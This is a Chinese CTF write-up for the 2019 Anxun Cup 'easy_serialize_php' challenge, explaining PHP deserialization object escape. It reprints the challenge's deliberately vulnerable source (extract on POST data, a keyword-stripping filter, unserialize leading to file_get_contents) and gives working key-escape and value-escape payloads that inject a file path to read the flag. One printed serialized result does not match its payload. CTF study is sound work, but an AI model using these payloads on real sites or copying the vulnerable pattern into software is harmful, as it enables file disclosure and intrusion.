反序列化中的对象逃逸——安洵杯2019 easy_serialize_php

一周没写博客了,这里简单梳理一下反序列化的普遍知识点

反序列化的对象逃逸问题一般分为两种~~,我先谈一下自己的理解,首先是过滤函数分为两种情况
参考[https://blog.csdn.net/a3320315/article/details/104118688/]

第一种为关键词数增加
例如: where->hacker,这样词数由五个增加到6个
这种情况可以直接构造多个关键词,然后逃逸出字符

第二种为关键词数减少
例如:直接过滤掉一些关键词,flag、php等
这种情况可以直接通过键逃逸和值逃逸得到

这里举一道第二种情况的例题,题目已经给出了源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

根据题目提示,打开phpinfo,可以发现

于是我们需要构造payload读取d0g3_f1ag.php

根据题目的filter()函数可以知道,题目对php、flag等进行了过滤,会替换成空。而且extract()函数覆盖了没用的属性,但是后面又强制加了一个我们不可控的img属性,正常传img参数进去会被sha1加密,并且我们传进去的值会被base64解密。

所以我们这里可以考虑构造 键逃逸 或者 值逃逸 两种

键逃逸:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
这个进行序列化之后的结果为:a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

值逃逸:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个进行序列化之后的结果为:a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然后我们再把d0g3_f1ag.php替换成/d0g3_fllllllag,这里base64加密后刚好也是20位,L2QwZzNfZmxsbGxsbGFn可以直接进行替换。
最后得到flag

posted @ 2020-07-23 11:51  seven昔年  阅读(304)  评论(0编辑  收藏  举报